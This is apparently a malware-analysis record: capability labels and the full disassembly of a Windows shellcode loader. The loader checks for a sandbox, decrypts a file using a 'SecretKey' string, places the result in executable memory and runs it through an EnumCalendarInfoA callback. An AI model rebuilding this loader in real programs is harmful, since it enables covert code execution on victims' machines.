Function at 0x140004790
Capabilities:
Execute shellcode via indirect call
Execute shellcode via windows callback function

Disassembly:
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rsi
push rdi
sub rsp, 0x558
lea rdi, [rsp + 0x30]
mov ecx, 0x14a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x570]
mov rax, qword [0x1400b80e0]
xor rax, rsp
mov qword [rsp + 0x540], rax
call qword [sym.imp.KERNEL32.dll_FreeConsole]
call fcn.140004660
test eax, eax
jne 0x1400047e4
call fcn.140004710
test eax, eax
je 0x14000481a
lea rax, [rsp + 0x38]
lea rcx, str._output_64.bin
mov rdi, rax
mov rsi, rcx
mov ecx, recv
rep movsb byte [rdi], byte [rsi]
mov r9d, 0x2328
lea r8, [rsp + 0x38]
mov dx, 0xcea
lea rcx, [0x1400b8d20]
call fcn.1400045d0
jmp 0x140004836
mov r9d, 0x34
lea r8, str.sandbox
lea rdx, str.error
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
lea rax, [rsp + 0x68]
mov qword [rsp + 0x510], rax
mov rax, qword [rsp + 0x510]
mov rcx, rax
call fcn.14000d550
nop
lea rax, str.config.ini
mov qword [rsp + 0x518], rax
mov qword [rsp + 0x520], 0xffffffffffffffff
inc qword [rsp + 0x520]
mov rax, qword [rsp + 0x518]
mov rcx, qword [rsp + 0x520]
cmp byte [rax + rcx], 0
jne 0x14000486f
mov rax, qword [rsp + 0x520]
mov qword [rsp + 0x408], rax
mov r8, qword [rsp + 0x408]
lea rdx, str.config.ini
lea rcx, [rsp + 0x68]
call fcn.14000c290
nop
lea rax, [rsp + 0xb0]
mov rdi, rax
xor eax, eax
mov ecx, 0x110
rep stosb byte [rdi], al
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 1
lea rdx, [rsp + 0x68]
lea rcx, [rsp + 0xb0]
call fcn.140007130
nop
mov rax, qword [rsp + 0xb0]
movsxd rax, dword [rax + 4]
mov eax, dword [rsp + rax + 0xc0]
mov dword [rsp + 0x418], eax
mov eax, dword [rsp + 0x418]
and eax, 6
test eax, eax
je 0x140004924
mov byte [rsp + 0x528], 1
jmp 0x14000492c
mov byte [rsp + 0x528], 0
movzx eax, byte [rsp + 0x528]
test eax, eax
je 0x1400049f2
lea rdx, str.open_config_file_error:
lea rcx, [0x1400ba150]
call fcn.14000b6b0
lea rdx, [rsp + 0x68]
mov rcx, rax
call fcn.14000bb90
mov qword [rsp + 0x500], rax
mov rcx, qword [rsp + 0x500]
call fcn.14000bbe0
mov dword [rsp + 0x3b8], 1
lea rax, [rsp + 0x160]
mov rcx, rax
call fcn.140007090
lea rax, [rsp + 0x160]
mov qword [rsp + 0x4f8], rax
mov rax, qword [rsp + 0x4f8]
lea rcx, vtable.std::basic_ios_char__struct_std::char_traits_char__.0
mov qword [rax], rcx
mov rax, qword [rsp + 0x4f8]
lea rcx, vtable.std::ios_base.0
mov qword [rax], rcx
mov rcx, qword [rsp + 0x4f8]
call fcn.14000fbec
nop
lea rcx, [rsp + 0x68]
call fcn.140009300
nop
lea rax, [rsp + 0x68]
mov qword [rsp + 0x4f0], rax
mov eax, dword [rsp + 0x3b8]
jmp 0x140004fd9
lea rax, [rsp + 0x1d8]
mov qword [rsp + 0x4e8], rax
mov rax, qword [rsp + 0x4e8]
mov rcx, rax
call fcn.14000d550
nop
lea rcx, [rsp + 0x1d8]
call fcn.140009410
nop
lea rdx, [rsp + 0x1d8]
lea rcx, [rsp + 0xb0]
call fcn.14000bc40
lea rcx, [rsp + 0xb0]
call fcn.140007000
lea rax, [rsp + 0x220]
mov rdi, rax
xor eax, eax
mov ecx, 0x110
rep stosb byte [rdi], al
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 0x20
lea rdx, [rsp + 0x1d8]
lea rcx, [rsp + 0x220]
call fcn.140007130
nop
mov rax, qword [rsp + 0x220]
movsxd rax, dword [rax + 4]
mov eax, dword [rsp + rax + 0x230]
mov dword [rsp + 0x428], eax
mov eax, dword [rsp + 0x428]
and eax, 6
test eax, eax
je 0x140004ab3
mov byte [rsp + 0x529], 1
jmp 0x140004abb
mov byte [rsp + 0x529], 0
movzx eax, byte [rsp + 0x529]
test eax, eax
je 0x140004bf4
lea rdx, str.open_encrypted_file_error:
lea rcx, [0x1400ba150]
call fcn.14000b6b0
lea rdx, [rsp + 0x1d8]
mov rcx, rax
call fcn.14000bb90
mov qword [rsp + 0x4d8], rax
mov rcx, qword [rsp + 0x4d8]
call fcn.14000bbe0
mov dword [rsp + 0x3bc], 1
lea rax, [rsp + 0x2d0]
mov rcx, rax
call fcn.140007090
lea rax, [rsp + 0x2d0]
mov qword [rsp + 0x4d0], rax
mov rax, qword [rsp + 0x4d0]
lea rcx, vtable.std::basic_ios_char__struct_std::char_traits_char__.0
mov qword [rax], rcx
mov rax, qword [rsp + 0x4d0]
lea rcx, vtable.std::ios_base.0
mov qword [rax], rcx
mov rcx, qword [rsp + 0x4d0]
call fcn.14000fbec
nop
lea rcx, [rsp + 0x1d8]
call fcn.140009300
nop
lea rax, [rsp + 0x1d8]
mov qword [rsp + 0x4c8], rax
lea rax, [rsp + 0x160]
mov rcx, rax
call fcn.140007090
lea rax, [rsp + 0x160]
mov qword [rsp + 0x4c0], rax
mov rax, qword [rsp + 0x4c0]
lea rcx, vtable.std::basic_ios_char__struct_std::char_traits_char__.0
mov qword [rax], rcx
mov rax, qword [rsp + 0x4c0]
lea rcx, vtable.std::ios_base.0
mov qword [rax], rcx
mov rcx, qword [rsp + 0x4c0]
call fcn.14000fbec
nop
lea rcx, [rsp + 0x68]
call fcn.140009300
nop
lea rax, [rsp + 0x68]
mov qword [rsp + 0x4b8], rax
mov eax, dword [rsp + 0x3bc]
jmp 0x140004fd9
mov r8d, 2
xor edx, edx
lea rcx, [rsp + 0x220]
call fcn.140007380
lea rdx, [rsp + 0x3c0]
lea rcx, [rsp + 0x220]
call fcn.1400071f0
mov qword [rsp + 0x4b0], rax
mov rax, qword [rsp + 0x4b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4b0]
add rax, qword [rcx + 8]
mov qword [rsp + 0x338], rax
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x220]
call fcn.140007380
lea rax, [rsp + 0x348]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
lea rax, [rsp + 0x348]
mov qword [rsp + 0x4a0], rax
mov rax, qword [rsp + 0x4a0]
mov qword [rsp + 0x4a8], rax
mov rax, qword [rsp + 0x4a8]
mov qword [rax], 0
mov rax, qword [rsp + 0x4a8]
mov qword [rax + 8], 0
mov rax, qword [rsp + 0x4a8]
mov qword [rax + 0x10], 0
mov rdx, qword [rsp + 0x338]
lea rcx, [rsp + 0x348]
call fcn.14000beb0
nop
mov rax, qword [rsp + 0x348]
mov qword [rsp + 0x430], rax
mov r8, qword [rsp + 0x338]
mov rdx, qword [rsp + 0x430]
lea rcx, [rsp + 0x220]
call fcn.140007620
lea rcx, [rsp + 0x220]
call fcn.140007000
lea rax, [rsp + 0x378]
lea rcx, str.SecretKey
mov rdi, rax
mov rsi, rcx
mov ecx, 0xa
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x398], 9
mov rax, qword [0x1400bc180]
mov qword [rsp + 0x530], rax
mov rax, qword [rsp + 0x530]
call qword [0x14009d3b8]
mov rax, qword [rsp + 0x348]
mov qword [rsp + 0x440], rax
mov r9, qword [rsp + 0x398]
lea r8, [rsp + 0x378]
mov rdx, qword [rsp + 0x338]
mov rcx, qword [rsp + 0x440]
call fcn.140003fc0
mov rcx, qword [rsp + 0x338]
call fcn.14003eed4
mov qword [rsp + 0x3e0], rax
mov rax, qword [rsp + 0x3e0]
mov qword [rsp + 0x3a0], rax
lea rax, [rsp + 0x348]
mov qword [rsp + 0x488], rax
mov rax, qword [rsp + 0x488]
mov rax, qword [rax + 8]
mov qword [rsp + 0x490], rax
mov rax, qword [rsp + 0x490]
mov qword [rsp + 0x3e8], rax
lea rax, [rsp + 0x348]
mov qword [rsp + 0x478], rax
mov rax, qword [rsp + 0x478]
mov rax, qword [rax]
mov qword [rsp + 0x480], rax
mov rax, qword [rsp + 0x480]
mov qword [rsp + 0x3f0], rax
mov r8, qword [rsp + 0x3a0]
mov rdx, qword [rsp + 0x3e8]
mov rcx, qword [rsp + 0x3f0]
call fcn.14000bca0
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, qword [rsp + 0x338]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x3a8], rax
mov r8, qword [rsp + 0x338]
mov rdx, qword [rsp + 0x3a0]
mov rcx, qword [rsp + 0x3a8]
call fcn.140041940
mov r9d, socket
mov r8d, 0xffffffff
mov edx, 0x400
mov rcx, qword [rsp + 0x3a8]
call qword [sym.imp.KERNEL32.dll_EnumCalendarInfoA]
mov rax, qword [rsp + 0x3a0]
mov qword [rsp + 0x3f8], rax
mov rcx, qword [rsp + 0x3f8]
call fcn.14003ee90
cmp qword [rsp + 0x3f8], 0
jne 0x140004ec3
mov qword [rsp + 0x538], 0
jmp 0x140004edf
mov qword [rsp + 0x3a0], 0x8123
mov rax, qword [rsp + 0x3a0]
mov qword [rsp + 0x538], rax
mov dword [rsp + 0x400], 0
lea rcx, [rsp + 0x348]
call fcn.140008430
nop
lea rax, [rsp + 0x2d0]
mov rcx, rax
call fcn.140007090
lea rax, [rsp + 0x2d0]
mov qword [rsp + 0x470], rax
mov rax, qword [rsp + 0x470]
lea rcx, vtable.std::basic_ios_char__struct_std::char_traits_char__.0
mov qword [rax], rcx
mov rax, qword [rsp + 0x470]
lea rcx, vtable.std::ios_base.0
mov qword [rax], rcx
mov rcx, qword [rsp + 0x470]
call fcn.14000fbec
nop
lea rcx, [rsp + 0x1d8]
call fcn.140009300
nop
lea rax, [rsp + 0x1d8]
mov qword [rsp + 0x468], rax
lea rax, [rsp + 0x160]
mov rcx, rax
call fcn.140007090
lea rax, [rsp + 0x160]
mov qword [rsp + 0x460], rax
mov rax, qword [rsp + 0x460]
lea rcx, vtable.std::basic_ios_char__struct_std::char_traits_char__.0
mov qword [rax], rcx
mov rax, qword [rsp + 0x460]
lea rcx, vtable.std::ios_base.0
mov qword [rax], rcx
mov rcx, qword [rsp + 0x460]
call fcn.14000fbec
nop
lea rcx, [rsp + 0x68]
call fcn.140009300
nop
lea rax, [rsp + 0x68]
mov qword [rsp + 0x458], rax
mov eax, dword [rsp + 0x400]
mov rdi, rax
mov rcx, rsp
lea rdx, [0x1400ac190]
call fcn.140097f00
mov rax, rdi
mov rcx, qword [rsp + 0x540]
xor rcx, rsp
call fcn.14003ee70
add rsp, 0x558
pop rdi
pop rsi
ret